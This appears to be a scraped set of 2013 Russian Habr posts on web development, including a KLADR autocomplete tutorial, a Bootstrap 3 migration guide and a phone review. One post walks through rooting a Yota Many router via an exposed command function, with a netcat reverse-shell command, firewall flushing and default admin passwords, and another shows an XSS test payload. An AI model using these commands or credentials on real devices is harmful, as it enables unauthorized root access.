...

суббота, 31 августа 2013 г.

[recovery mode] Автодополнение адреса для сайта

На хабре уже не раз публиковались статьи про сервис “КЛАДР в облаке”, который чуть более недели назад стал абсолютно открытым и бесплатным. Помимо сервиса реализованы модули интеграции для различных языков и платформ. Эта статья о том как сделать автодополнения адреса на своём сайте с помощью jQuery плагина “КЛАДР в облаке”.




К слову все примеры на официальном сайте реализованы с помощью данного плагина. Ок, начнём. Плагин Primepix.Kladr унаследован от jQuery.ui.autocomplete, поэтому для его корректной работы нам понадобится jQuery и jQuery UI.


Подключение необходимых библиотек



<!-- Theme jQuery UI -->
<link href="http://code.jquery.com/ui/1.10.3/themes/smoothness/jquery-ui.css" rel="stylesheet">

<!-- jQuery и jQuery UI -->
<script src="http://code.jquery.com/jquery-1.9.1.js"></script>
<script src="http://code.jquery.com/ui/1.10.3/jquery-ui.js"></script>

<!-- Kladr api -->
<script src="jquery.primepix.kladr.min.js"></script>


Для jquery.primepix.kladr к сожалению пока CDN не поднят, поэтому его нужно скачать и скопировать в проект. Так же добавим input для которого будем реализовывать автодополнение. Код всей страницы будет выглядеть следующим образом:



<!DOCTYPE html>
<html>
<head>
<title></title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

<!-- Theme jQuery UI -->
<link href="http://code.jquery.com/ui/1.10.3/themes/smoothness/jquery-ui.css" rel="stylesheet">

<!-- jQuery и jQuery UI -->
<script src="http://code.jquery.com/jquery-1.9.1.js"></script>
<script src="http://code.jquery.com/ui/1.10.3/jquery-ui.js"></script>

<!-- Kladr api -->
<script src="jquery.primepix.kladr.min.js"></script>
</head>
<body>
<input type="text" name="input">
</body>
</html>


Теперь можно непосредственно подключить автодополнение из КЛАДРа. Для этого надо сначала зарегистрироваться на сайте сервиса и получить токен с ключом для доступа. После этого, в простейшем варианте, вам достаточно написать следующий код:



$('input').kladr({
token: 'token',
key: 'key'
});


В этом случае будет производиться автодополнение регионами. Если вы хотите, чтобы автодополнение выполнялось районами или же населёнными пунктами нужно указать тип объектов для подстановки:



// Автодополнения городами
$('input').kladr({
token: 'token',
key: 'key',
type: 'city'
});


На самом деле записывать тип объекта строкой не обязательно, для этого есть перечисление $.ui.kladrObjectType.



$('input').kladr({
token: 'token',
key: 'key',
type: $.ui.kladrObjectType.CITY
});


Теперь при вводе названия города вам будет предложен список вариантов.



Однако в этом случае автодополнение будет производится всеми населёнными пунктами России, а их не много не мало 200 000. Если надо ограничить список населённых пунктов определённым регионом можно задать в параметрах плагина код родительского объекта:



// Поиск в родительском объекте
$('input').kladr({
token: 'token',
key: 'key',
type: $.ui.kladrObjectType.CITY,
parentType: $.ui.kladrObjectType.REGION, // Тип родительского объекта
parentId: '7400000000000' // Код КЛАДР родительского объекта
});


Следует отметить, что для автодополнения улиц надо обязательно указать код населённого пункта, а для автодополнения строений нужно обязательно указать код улицы.


Плагин также позволяет получать объекты вместе с их родителями (в объект будет добавлено поле parents, в котором они будут перечислены).



// Получение вместе с родителями
$('input').kladr({
token: 'token',
key: 'key',
type: $.ui.kladrObjectType.STREET,
parentType: $.ui.kladrObjectType.CITY,
parentId: '7700000000000',
withParents: true
});


Для тех, кто дочитал до данного места, самое интересное =) Если же вам понадобилось переопределить форматирование подписей в списке вариантов, это можно сделать передав в параметре label функцию для форматирования:



// Переопределение функции для формирование подписи
$('input').kladr({
token: 'token',
key: 'key',
type: $.ui.kladrObjectType.CITY,
withParents: true,
label: function(obj, query){
var result = '';
for(var i in obj.parents){
result += obj.parents[i].typeShort + '. ' + obj.parents[i].name + ', ';
}
result += obj.typeShort + '. ' + obj.name;
return result;
}
});


Вот здесь как раз и пригодился параметр withParents.



Аналогичным образом вы можете переопределить функцию для форматирования подставляемого в input значение:



// Переопределение функции для формирование подставляемого значения
$('input').kladr({
token: 'token',
key: 'key',
type: $.ui.kladrObjectType.CITY,
value: function(obj, query){
return obj.typeShort + '. ' + obj.name;
}
});


Ну и на последок. Запрос к сервису занимает некоторое время и если вы хотите во время запроса показывать такую же красивую ajax крутилку, как в расширенном примере на сайте сервиса, то можете использовать для этого события downloadStart и downloadStop.



// Использование событий
$('input').bind('downloadStart', function(){
console.log('Отправлен запрос к kladr-api.ru');
});

$('input').bind('downloadStop', function(){
console.log('Получен ответ от kladr-api.ru');
});


На этом всё. Надеюсь статья показалась вам интересной. =)


This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at fivefilters.org/content-only/faq.php#publishers. Five Filters recommends:



[Из песочницы] Заглянем под юбку новой Yota Many

Добрый день!

Как Вы думаете, каким минимальным количеством инструментов можно получить SSH-доступ к роутеру Yota Many?

А SSH-доступ с root-правами?

Вы, скорее всего удивитесь, но ответ — двумя, в обоих случаях. Это Ваш браузер и Netcat.



Я очень удивился, когда случайно в списке подключаемых JS-скриптов на странице http://status.yota.ru/ я увидел

этот http://status.yota.ru/js/devControl.js, а в нём вот такую функцию:



function cmsSystem(s,callback) {
if (simulator) {
setTimeout(function () { callback(0); },100);
return;
}

var r={};
r.authparam=calcAuthParam();
r.system=s;
r.command="system";
$.post(
devCtrlUrl, r, callback, "json"
).error(devErrorHandler);
}


А использовалась эта функция, в этом же файле, например, так:

cmsSystem(
"( killall up_cli ; rm -rf /mnt/jffs2/upload/* ) 1>/dev/null 2>/dev/null",
function() { callback(true); }
);




Чувствуете чем пахнет?

Да, эта функция выполняла команду в консоли роутера, но вывода результата она не имела (ну, точнее имела, но не совсем результата).

Тогда я решил поступить следующим образом.

Первое, что нам нужно — скачать Netcat(Windows, Unix) и запустить его с параметрами:



nc -n -vv -l -p 5566




Где:


  • 5566 — порт на нашем компьютере, на котором Netcat будет ждать соеденения.




Получаем следующее:

listening on [any] 5566 ...




Второе — запустить браузер и перейти в консоль JavaScript (в Google Chrome — F12, вкладка Console) и ввести команду:

cmsSystem("nc 10.0.0.33 5566 -e /bin/sh", null);




Где:


  • 10.0.0.33 — IP-адрес выданный Вашему компьютеру роутером.

  • 5566 — порт на нашем компьютере, на котором мы ждем подключения.




Через мгновение в нашей консоли мы увидим:

connect to [10.0.0.33] from (UNKNOWN) [10.0.0.2] 48656




После чего смело выполняем команды так, как будто мы это делали по SSH (все команды выполняются от имени root).

Информация о системе, процессоре, памяти и т.п.
id

uid=0(root) gid=0(root)




uname -a

Linux 9615-cdp 3.0.21+ #1 PREEMPT Tue Apr 30 18:09:49 CST 2013 armv7l GNU/Linux




cat /proc/version

Linux version 3.0.21+ (kevin@kevin-android-build-system) (gcc ver1117 (prerelease) (GCC))
#1 PREEMPT Tue Apr 30 18:09:49 CST 2013




cat /proc/cpuinfo

Processor : ARMv7 Processor rev 1 (v7l)
BogoMIPS : 274.02
Features : swp half thumb fastmult vfp edsp neon vfpv3 tls vfpv4
CPU implementer : 0x41
CPU architecture: 7
CPU variant : 0x0
CPU part : 0xc05
CPU revision : 1

Hardware : QCT MSM9615 CDP
Revision : 0000
Serial : 0000000000000000




cat /proc/meminfo

MemTotal: 44184 kB
MemFree: 2476 kB
Buffers: 0 kB
Cached: 10108 kB
SwapCached: 0 kB
Active: 13868 kB
Inactive: 4840 kB
Active(anon): 8652 kB
Inactive(anon): 16 kB
Active(file): 5216 kB
Inactive(file): 4824 kB
Unevictable: 0 kB
Mlocked: 0 kB
HighTotal: 0 kB
HighFree: 0 kB
LowTotal: 44184 kB
LowFree: 2476 kB
SwapTotal: 0 kB
SwapFree: 0 kB
Dirty: 0 kB
Writeback: 0 kB
AnonPages: 8616 kB
Mapped: 5388 kB
Shmem: 68 kB
Slab: 16900 kB
SReclaimable: 11744 kB
SUnreclaim: 5156 kB
KernelStack: 1336 kB
PageTables: 1216 kB
NFS_Unstable: 0 kB
Bounce: 0 kB
WritebackTmp: 0 kB
CommitLimit: 22092 kB
Committed_AS: 484816 kB
VmallocTotal: 827392 kB
VmallocUsed: 301728 kB
VmallocChunk: 519164 kB




free -m

total used free shared buffers
Mem: 43 40 2 0 0
-/+ buffers: 40 2
Swap: 0 0 0




df -h

Filesystem Size Used Available Use% Mounted on
/dev/root 33.6M 30.1M 3.5M 90% /
tmpfs 21.6M 52.0K 21.5M 0% /tmp
none 21.6M 8.0K 21.6M 0% /dev
tmpfs 21.6M 4.0K 21.6M 0% /dev/shm
/dev/mtdblock15 44.1M 1.4M 42.7M 3% /mnt/jffs2
/dev/mtdblock10 28.8M 19.9M 8.9M 69% /usr




top

Mem: 41756K used, 2428K free, 0K shrd, 0K buff, 10136K cached
CPU: 30.7% usr 23.0% sys 0.0% nic 46.1% idle 0.0% io 0.0% irq 0.0% sirq
Load average: 1.01 1.09 1.11 1/167 8372
m PID PPID USER STAT VSZ %MEM CPU %CPU COMMAND
8372 4979 root R 3040 6.8 0 23.0 top
862 1 root S 96700218.3 0 0.0 QCMAP_ConnectionManager /etc/mobil
672 1 root S 86448195.2 0 0.0 /usr/bin/qmuxd
864 1 root S 46288104.5 0 0.0 lte_cm
691 1 root S 44960101.5 0 0.0 /usr/bin/netmgrd -u /etc/udhcpc.d/
644 1 root S 36400 82.2 0 0.0 qti
4368 1 root S 36384 82.1 0 0.0 /usr/bin/cxmapp
602 1 root S 34588 78.1 0 0.0 /bin/msg_center
540 1 root S 25424 57.4 0 0.0 /sbin/adbd
707 688 root S 20396 46.0 0 0.0 /usr/bin/mbimd
663 1 root S 20212 45.6 0 0.0 /usr/bin/atfwd_daemon
1211 1 root S 18272 41.2 0 0.0 /yota/cgi-bin/wpdaemon.cgi start
775 1 root S 18140 40.9 0 0.0 /bin/user_in_ctl server
657 1 root S 11604 26.2 0 0.0 /usr/bin/diagrebootapp
783 1 root S 9940 22.4 0 0.0 /bin/epd_ctl
1116 1 root S 4992 11.2 0 0.0 lighttpd -f /etc2/lighttpd/lighttp
619 612 root S 4368 9.8 0 0.0 up_cli
4544 1 root S 3908 8.8 0 0.0 hostapd -B /tmp/hostapd1.conf
612 1 root S 3040 6.8 0 0.0 /bin/sh /yota/up_cli_watchdog.sh
4274 1 root S 3040 6.8 0 0.0 /bin/sh /bin/modem_led.sh




iptables -L

Chain INPUT (policy ACCEPT)
target prot opt source destination
DROP all -- anywhere 10.0.0.0/24

Chain FORWARD (policy ACCEPT)
target prot opt source destination
DROP all -- anywhere anywhere
DROP all -- anywhere 10.0.0.4

Chain OUTPUT (policy ACCEPT)
target prot opt source destination



Устройство, мягко говоря, не блещет производительностью.

У меня не получилось поставить что-либо через ipkg, из-за малого количества оперативки и отсутствия SWAP — ipkg постоянно падает с «segmentation fault» (может у меня руки кривые?)


Включаем стандартную админ-панель производителя




Включаем встроенный FTP-сервер

Для начала нам надо почистить iptables:

cmsSystem("iptables -F", null);
cmsSystem("iptables -X", null);
cmsSystem("iptables -t nat -F", null);
cmsSystem("iptables -t nat -X", null);
cmsSystem("iptables -t mangle -F", null);
cmsSystem("iptables -t mangle -X", null);
cmsSystem("iptables -P INPUT ACCEPT", null);
cmsSystem("iptables -P FORWARD ACCEPT", null);
cmsSystem("iptables -P OUTPUT ACCEPT", null);


После чего перезагрузить роутер:

rebootDevice(null);


Далее включаем FTP-сервер:

cmsSystem("tcpsvd -vE 0.0.0.0 21 ftpd -w /", null);




И любым FTP-клиентом заходим на ftp://10.0.0.1:21/

Идем в /etc2/lighttpd/ и правим lighttpd.conf, добавляем после $HTTP["host"] == "status.yota.ru" { ... } вот это:



$HTTP["host"] == "full.yota.ru" {
server.document-root = "/www/"
}


Идем в /etc/ и правим hosts, добавляем в конце файла:

10.0.0.1 full.yota.ru




Переходим в браузере по адресу http://full.yota.ru/.

Вводим имя пользователя gemtek и пароль gemtek0978 (или operator, пароль operator).

Наслаждаемся нормальной, не урезанной административной панелью:

image

Имена пользователей находятся в /mnt/jffs2/conf/user/ui.conf, пароли в /mnt/jffs2/conf/user/httpasswd.conf

Пароли настоятельно рекомендую изменить!


На этом моё баловство закончилось, но я надеюсь, что в комментариях подскажут как побороть проблемы с ipkg и восстановлением состояния iptables после перезагрузки(которое, кстати, не влияет на FTP сервер).


This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at fivefilters.org/content-only/faq.php#publishers. Five Filters recommends:



Дайджест интересных материалов из мира веб-разработки и IT за последнюю неделю №72 (24 — 31 августа 2013)


сегодня в 23:08


Предлагаем вашему вниманию очередную подборку с ссылками на новости, интересные материалы и полезные ресурсы.




Веб-разработка




CSS




JavaScripts




Браузеры




Веб-инструменты




Новости




Демо




Сайты с интересным дизайном и функциональностью




Дизайн




Подборка бесплатных дизайнерских печенек







Занимательное





Дайджест за прошлую неделю.

Материал подготовили dersmoll и alekskorovin




Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.


This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at fivefilters.org/content-only/faq.php#publishers. Five Filters recommends:



Переход с bootstrap 2 на bootstrap 3


Этот небольшой обзор предназначенный тем, кто хочет быстро перевести свой сайт на новый бутстрап.


На днях вышла третья версия этого замечательного фреймворка, и, естественно, сразу захотелось посмотреть, как будут выглядеть сделанные на второй версии проекты, если просто поменять 2-ю на 3-ю. Оказалось что никак. Всё расползлось, разъехалось и кое-что перестало работать.


После чего захотелось всё быстренько поправить. И вот, что из этого получилось, читаем дальше.



Итак, первое нововведение — новый bootstrap не переопределяет стили элементов по-умолчанию, как это было раньше. С одной стороны, это, в принципе, правильно, потому что у него в стилях было куча !iportant и он навешивался на практически все теги, поэтому, если какой то input казался чересчур высоким, то приходилось переопределять и не всегда это было удобно.


Но, скорее всего, именно за эту особенность bootstrap многие и полюбили: без лишних телодвижений — подключил библиотечку и страница преобразилась.


Теперь всё с точностью до наоборот: никакой самодеятельности, хочется красивенький input с синей подсветкой, — нужно прописать в нем соответствующий класс.



<input class="form-control" type="text" />


Нужен стильный заголовок страницы, оборачиваем его так:



<div class="page-header">
<h1>Блог Васи <small>Только умные мысли</small></h1>
</div>


Кнопки



Убран класс .btn-inverse. Теперь придётся выбирать ему замену или писать что-то своё.

Класс .btn теперь тоже не имеет собственного оформления, и везде, где была обычная кнопка теперь обязательно нужно добавить btn-default, чтобы она обрела подобающий кнопке вид.


Классы, отвечающие за размеры кнопок, полей ввода и well-ов, обрели более лаконичные названия. Например, вместо btn-small стало btn-sm:



<input class="btn btn-default btn-sm" type="submit" />
<span class="well well-lg"></span>


Стоит заметить, что размер можно назначать сразу группе элементов и это значительно удобней и логичней, чем, например, на каждую кнопку по-отдельности.


Темы



Теперь в бутстрапе появилось такое понятие как темы. Сразу в комплекте идёт файл bootstrap-theme.css, который незначительно переопределяет внешний вид. Его можно использовать как основу для создания собственных тем, хотя, нужно признать, что он пока далеко не полно покрывает все визуальные стили. Созданием собственной темы можно заняться и с помощью веб-интерфейса на сайте фреймворка, где все стили удобно сгруппированы.

В предложенной же «теме по-умолчанию» на первый взгляд не понравилось то, что кнопки при наведении практически никак не реагируют, в то же время, без темы .btn-default, можно сказать, вообще «никакого цвета». К счастью, это легко переопределяется в bootstrap-theme.css



/* Переопределяем цвет кнопки */
.btn-default {
text-shadow: 0 1px 0 #fff;
background-image: -webkit-gradient(linear, left 0%, left 100%, from(#ffffff), to(#e6e6e6));
background-image: -webkit-linear-gradient(top, #ffffff, 0%, #e6e6e6, 100%);
background-image: -moz-linear-gradient(top, #ffffff 0%, #e6e6e6 100%);
background-image: linear-gradient(to bottom, #ffffff 0%, #e6e6e6 100%);
background-repeat: repeat-x;
border-color: #e0e0e0;
border-color: #ccc;
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#ffe6e6e6', GradientType=0);
}
/* Переопределяем цвет кнопки при наведении */
.btn-default:hover {
background-color: gray !important;
background-image: -webkit-gradient(linear, left 0%, left 100%, from(#ffffff), to(gray));
background-image: -webkit-linear-gradient(top, #ffffff, 0%, gray, 100%);
background-image: -moz-linear-gradient(top, #ffffff 0%, gray 100%);
background-image: linear-gradient(to bottom, #ffffff 0%, gray 100%);
border-radius:3px;
}


Тулбары



Тут тоже все немного усложнили. Вместо рабочего старого варианта:

<div class="navbar navbar-fixed-top navbar-inverse">
<div class="navbar-inner">
<div class="container" >
<a href="/" class="pull-left navbar-brand">Название</a>
<ul class="nav pull-left">
</ul>
</div>
</div>
</div>


вот такой новый



<div class="navbar navbar-fixed-top navbar-inverse" style="">
<div class="navbar-inner" >
<div class="container" >
<a href="/" class="pull-left navbar-brand" >Название</a>
<ul class="nav navbar-nav pull-left">
</ul>
</div>
</div>
</div>


Обратите внимание на класс .navbar-nav, который теперь должен сопровождать класс .nav


Диалоги



Диалоги теперь тоже усложнились. Было:

<div class="modal hide fade " style="width:400px; margin-left:-200px; z-index:1000000;">
<div class="modal-header">
<button class="close" data-dismiss="modal">×</button><h3>Галерея</h3>
</div>
<div class="modal-body" style="width:380px; height:250px;"></div>
<div class="modal-footer"><div class="btn-group">
<span class="btn yes btn-primary" data-dismiss="modal">Вставить</span>
<span class="btn cancel btn-danger" data-dismiss="modal">Закрыть</span>
</div>
</div>
</div>


Стало:



<div class="modal">
<div class="modal-dialog">
<div class="modal-content">
<div class="modal-header">
<button class="close" data-dismiss="modal">×</button>
<h3 class="modal-title">Вставка кода</h3>
</div>
<div class="modal-body" ></div>
<div class="modal-footer">
<div class="btn-group">
<span class="btn yes btn-primary" data-dismiss="modal">Вставить</span>
<span class="btn cancel btn-danger" data-dismiss="modal">Закрыть</span>
</div>
</div>
</div>
</div>
</div>


Тут разработчики действительно постарались и диалоги стали чуть менее глючными и более логичными, особенно в плане управления размерами диалогового окна.


Сетка



Сетку основательно переделали. Наверно, это самое существенное изменение в фреймворке, обнаружив которое, в некоторых проектах, можно только недоумённо развести руками — больше нет фиксированных размеров, признаётся только динамическая ширина столбцов. Классы разметки, отвечающие за ширину колонок, .span2, .span3 и т.д. заменены на соответствующие .col-md-2, .col-md-3…
Картинки



Больше нет класса img-polaroid. Вместо него можно использовать img-thumbnail
Иконки



Иконки самого bootstrap теперь реализованы шрифтом, а не спрайтами. Вместе с этим изменены и названия классов, которые теперь все придётся заменить.

<i class="icon-pencil"></i>


надо писать



<i class="glyphicon glyphicon-pencil"></i>


Если же используется Font-Awesome, то, в принципе, ничего менять не нужно и, к счастью, всё продолжит работать по-старому. Возможно, это хороший повод подключить этот замечательный шрифт, благо, запас иконок у него определённо богаче.


Badge



Если кто-то пользовался разноцветными, то теперь их нет от слова совсем. Вместо этого бейджи подстраиваются под цвет элементов и по-умолчанию в большинстве случаев они просто серые. Ради цветов придётся бейджи заменить на метки (.label)

Пожалуй, это все, что бросилось в глаза в первом приближении.


Полезные ссылки



Справка отличий при миграции (англ.)

Веб-интерфейс настройки стилей bootstrap

This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at fivefilters.org/content-only/faq.php#publishers. Five Filters recommends:



Строковая интерполяция. Сказка-быль

Постановка задачи




Совершенно случайно я превратился из питониста в JS-разработчика, и на мою хрупкую детскую психику обрушился непосильный груз вещей, которых в JS нет. Например, нет удобного форматирования строк. На питоне можно написать:

'hello, %(thing)s' % {'thing': 'world'}




Или вот так:

'hello, {thing}'.format(**{'thing': 'world'})








Ближайший аналог в JS — конкатенация (operator +), которая очень плохо масштабируется с увеличением длины строки, да еще и выглядит безобразно до предела:

'<div class="input-append"><input type="text" name="username" '+
'id="signup_username" placeholder="'+placeholder+'"><input '+
'type="hidden" name="password" value="'+generated+'"><button '+
...




По возможности хотелось бы этого избежать.

Jeremy Ashkenas, когда разрабатывал CoffeeScript, также обратил на эту особенность JS внимание, и случайно диалект PHP:



"hello, #{document.cookie}"




Это тоже плохо, к тому же работает только для строковых литералов, загрузить шаблон из файла не получится.

Мне в этой штуке нравится похожий на Ruby синтаксис, но не нравится все остальное, особенно выполнение произвольного кода внутри строки. Таким образом постановка задачи:



– написать функцию

– которая подставляет переменные в строку

– загруженную из файла

– не PHP





Поиск решения




Обычно в таких случаях используют готовые библиотеки, более того, в NPM по слову template находится более двух тысяч пакетов.

В самом деле, mustache или lodash (underscore.js) работают превосходно, но… очень медленно: 10-20 мкс на одну подстановку. Не предел мечтаний ни в коем случае, особенно когда «продвинутый» функционал вроде циклов и фильтров совершенно не нужен.


А конкатенация, хоть и выглядит страшно, как звериный оскал коллективизма, работает все-таки в 10-30 раз быстрее. Таким образом, мы добавляем к постановке задачи:



– транслируется в конкатенацию

– и работает очень быстро





Вот теперь по этой спецификации можно изобретать велосипед. Because why not.

Что получилось




У меня получилась вот такая штука: Ruby-like simple string interpolation (GitHub)

В ней 9 строк кода, и она выполняет миллион триста тысяч подстановок в секунду (около 0,77 мкс на подстановку) на той же машине, где mustache делает 130 тысяч, а lodash/underscore 45 тысяч подстановок в секунду.


Вывод: за счет отказа от сложных функций шаблонизатора (циклы, условные выражения) было достигнуто ускорение в 10-30 раз по сравнению с популярными библиотеками, не прибегая к выполнению произвольного кода в шаблоне.


RSSI.js можно установить из npm очевидной командой npm install rssi, поддерживается также Bower (bower install rssi); на стороне клиента можно использовать AMD (RequireJS), а можно не использовать.



Спасибо за прочитывание этого не очень связного текста! Пишите патчи, господа хорошие, и до новых встреч.


This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at fivefilters.org/content-only/faq.php#publishers. Five Filters recommends:



Типичные уязвимости на сайтах, со статистикой

Этот топик будет посвящен:




  • в большей мере статистике встречаемости уязвимостей

  • реакции администрации(скорости и адекватности)

  • опасности




и всяческим другим факторам. Будут приведены примеры.

Что послужило толчком




Пост можно начать так: «дело было вечером, делать было нечего». Или: «Навеяли былые успехи(прошлый топик вышел в плюс)».

Одним словом, делать мне летом решительно нечего. А поэтому, пока потихоньку пилится мой прошлый проект(хабрасканер), я подумал быстренько набросать следующий пост. Кратенькое содержание уже есть выше. Разберем его(пост в смысле).

Очень важно: все данные, приведенные в топике, достаточно примерны. Сайтов на самом деле не 200, а около 200~. Ну и так далее.

И да, проверено было много более чем 200. А это уязвимых именно столько.


Процесс поиска



Кстати кому интересно, сайты были найдены совершенно случайным образом и проверены буквально в ручную.

Поиском для меня занимался гугл. Я написал небольшой питон-скрипт, который вводил поисковый запрос(изначально взят был список запросов) и нажимал «Мне повезет!», а затем копировал эти данные в текстовичек, который я потом использовал для пентестинга.

Кстати говоря, запросов было 1322, а значит и сайтов столько же. Отсюда можно посчитать, что уязвимых из них около 15%.
Общая статистика



image
Уязвимый модуль



image
Вид уязвимости



image

Я должен пояснить, что HTMLBUG = изменение вида html с помощью какой-то формы, но без XSS(все-таки теги фильтруются).

Примеры




Я, опять же, просто обязан сказать здесь, что действительных примеров не будет. Это может быть попросту опасно, для исследованного сайта.

А вот почему.

image

Здесь в «Не решено» входит и «Не ответили».

Кроме того, в большей части проектов ко мне обращались грубо, пренебрежительно и даже угрожали…

Это выглядет как-то так.

Слова в гистограмме исковерканы намеренно, чтобы хоть как-то смягчить мои подсчеты.

image

Остальные либо не ответили, либо отделались сухим «Спасибо.»


Отдельно хочется выделить работников интернет-магазина kronya.ru, мало того, что мне ответили в течение 15 минут(в пятницу-то), так еще и решены ВСЕ мои претензии были в течение часа.

Кроме того, выделяю пользователя art_karetnikov, его сайт был проверен мной случано, и, к моему сожелению, и к всеобщей радости, вовсе не содержал проверяемых мной ошибок.


А теперь наконец-то к примерам.



Приведу пару-тройку примеров. Я думаю большая часть пользователей хабра умеет искать и использовать XSS, поэтому об этом кратко.

http://******************d=%22%3E%3Cscript%3Ealert%280%29%3C%2Fscript%3E

js, выводящий алерт. ">

image

(Окно уже закрыто) То есть здесь и XSS и странности с дизом. (ну странности с html наблюдаются всегда там, где получилось пробиться через input, поэтому я больше не буду их связывать между собой).

На одном из сайтов встретилась форма, после которой ее содержимое присутствовало на сайте аж 5(!) раз. И выглядело как-то так.

image

image


Неимоверное количество не фильтрованных запросов нашел я на просторах интернета.

Больше всего мне понравился этот. Кстати расположен на крупном сайте одного московского магазина.

image

Всего-то ковычка в одном правильном поле. На этом сайте мне так и не ответили…


Решения проблем



По большей части, все эти уязвимости встречены на сайтах с фреймворками(найдены документации в корневых папках) или с CMS(найдены признаки использования©). Поэтому путь решения прост как валенок. Переключить тумблер фильтрации в положение ON. Или дописать где-то 2 слова…

К чему все это?




Я надеюсь данный топик сможет:


  • Заставить пользователей быть внимательнее к ссылкам.

  • Админов быть внимательнее к своим творениям.

  • Менеджеров быть добрее к тем, с кем они общаются.

  • Программистов быть адекватнее и понимать, когда им пытаются помочь, а не обгадить(да простит меня хабрасообщество за это слово).


P.S. В заключение, хочется сказать:

«Дорогие хабровчане, мне, бесспорно, нравится проверять сайты на уязвимости и узнавать что-то новое для себя.»

Если кому-то интересно, я мог бы проверить ваши сайты, а затем дополнить список с указанием конкретных примеров(конкретики не хватает, я думаю), естественно с вашего разрешения и, конечно же, после исправления.


P.S.S. Я надеюсь моя статья будет полезным чтением для кого-то. Кому-то послужит уроком, или руководством к действию(я надеюсь админам, а не хакерам). И вообще, я надеюсь статья будет достойна habra.


This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at fivefilters.org/content-only/faq.php#publishers. Five Filters recommends:



[recovery mode] Phalcon S: Быстрая разработка на phalconphp

Добрый день!

Уважаемый читатель: данная статья не является примером идеального программирования на языке php и предоставленный инструмент может содержать в себе множество недоработок. Phalcon S сырой и выкладывается для поддержки, или осуждения разработки.


Сегодня я хочу показать сообществу Phalcon System (Система Ястреб).


Описание и предыстория




Phalcon S — это зачаток мульти-модульной системы, для построения вэб-приложения. Phalcon S изначально был задуман для персонального использования 1-2 разработчиками. Phalcon S написан с использованием Phalconphp и представляет из себя мульти-модульное приложение. На данный момент содержится модуль панели администратора, который откровенно говоря не доделан. Все началось с того, что мне была нужна система микроблоггинга. Поиски того что нужно, не дали успехов. Так как я обладаю некими знаниями языка php, было задумано писать самому. Систему для блогов я поднял за 3 дня и в качестве админки к ней начал писать Phalcon S (в свободное от работы время). К сожалению модуль микроблоггинга в общий доступ выложить не могу.

Архитектуру наглядно можно изобразить так:



Каждый модуль это отдельное mvc приложение.


В папке dev находится каркас-пример для разработки модуля Phalcon S.


Краткая инструкция по разработке модуля.




Большинство настроек приложения храниться в формате xml. При разработке модуля, необходимо создать папку module_name/config/xml с настройками вашего модуля. Также необходимо разместить schema.sql и schema_drop.sql в папке module_name/config для создания таблиц в бд и соответственно удаления при деинсталяции модуля.

Пример настройки роутинга:



<?xml version="1.0" encoding="UTF-8"?>
<routes>
<route name="pnews" url="/pnews" module="pnews" controller="pnews" action="index"/>
<route name="pnews" url="/pnews/administrationpnews" module="pnews" controller="administrationpnews" action="index"/>
<route name="pnews" url="/pnews/administrationpnews/add" module="pnews" controller="administrationpnews" action="add"/>
<route name="pnews" url="/pnews/administrationpnews/delete/{item_id}/{page_number}" module="pnews" controller="administrationpnews" action="delete"/>
</routes>


Пример настройки модуля (для регистрации его в системе):



<?xml version="1.0" encoding="UTF-8"?>
<modules>
<module name="pnews" className="P\Pnews\Module" path="../apps/modules/pnews/Module.php"/>
</modules>



Остальные примеры можно найти тут Phalcon-S / dev / pnews / config / xml.

Также необходимо знать, что ресурсы для ACL разделяются на модуль и контроллер. По умолчанию доступ ко всем ресурсам модуля, закрыт для всех пользователей. Allow нужно также добавить в настройках вашего модуля. Если вашему модулю нужны ресурсы css, images, js то разместите их в module_name/ext/module_name и при установке они будут перемешены в public/ext/module_name (это надо учитывать при прописывании путей к ресурсам).


Верстка:



Вьюшка вашего модуля ложна содержать:

<?php
require_once $_SERVER['DOCUMENT_ROOT'] . '/templates/header.phtml';
?>


<?php
require_once $_SERVER['DOCUMENT_ROOT'] . '/templates/footer.phtml';
?>


если это контроллер для пользователей и:



<?php
require_once $_SERVER['DOCUMENT_ROOT'] . '/templates/admin-templates/header.phtml';
?>


<?php
require_once $_SERVER['DOCUMENT_ROOT'] . '/templates/admin-templates/footer.phtml';
?>


если это контроллер панели администрирования.


github github.com/abasov90/Phalcon-S

phalconphp phalconphp.com/en/

phalconphp в по русски docs.phalconphp.ru/ru/latest/


This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at fivefilters.org/content-only/faq.php#publishers. Five Filters recommends:



LG Optimus F5 — LTE в среднем сегменте

Добрый день, хабрахабр!

Сегодня я хочу рассказать вам о необычном «средняке» от LG — Optimus F5. Что в нём необычного? Да, наверное, ничего, кроме поддержки LTE сетей и приятного соотношения цена/функционал. Заинтересовались? :)


kCeSN.jpg





Вопрос среднего сегмента и соотношения «цена/производительность» регулярно подвеграется пересмотру. Несколько лет назад LG Optimus One покорил бюджетный сегмент именно потому, что за свои деньги предлагал то, чего не было у остальных: нормальный экран с неплохим разрешением, вполне актуальное железо и неплохой корпус, удобный, простой и надёжный.

qIxkX.jpg


Что же установлено внутри LG Optimus F5?































Процессор
Qualcomm MSM82960: два ядра Krait на частоте до 1.5 ГГц
Видеоядро
Adreno 225
Память
RAM: 1ГБ LPDDR2, Flash: 8ГБ, слот под MicroSD до 32ГБ
Камера
5МП задняя, автофокус, без вспышки; 1.3 МП фронтальная
Аккумулятор
2150 мА*ч (такой же стоит в Optimus G)
Дисплей
4.3" IPS, qHD (960x540)
Беспроводные интерфейсы
WiFi, Bluetooth, NFC, 4G (LTE)

Как видите, для среднего ценового сегмента в телефон установлено достаточно актуальное железо с неплохими характеристиками. Года полтора назад некоторые производители подобное железо в свои флагманы устанавливали.


Не ясно, почему камера не получила вспышку, когда она есть даже в бюджетном LG L5. Не думаю, что лишняя дырка в корпусе да копеечный светодиод каким-либо образом повлияли бы на стоимость девайса, более того, вспышка была у прототипа, который показывали на MWC2013, так что в этом плане корейцы сотворили какую-то непонятную фигню.




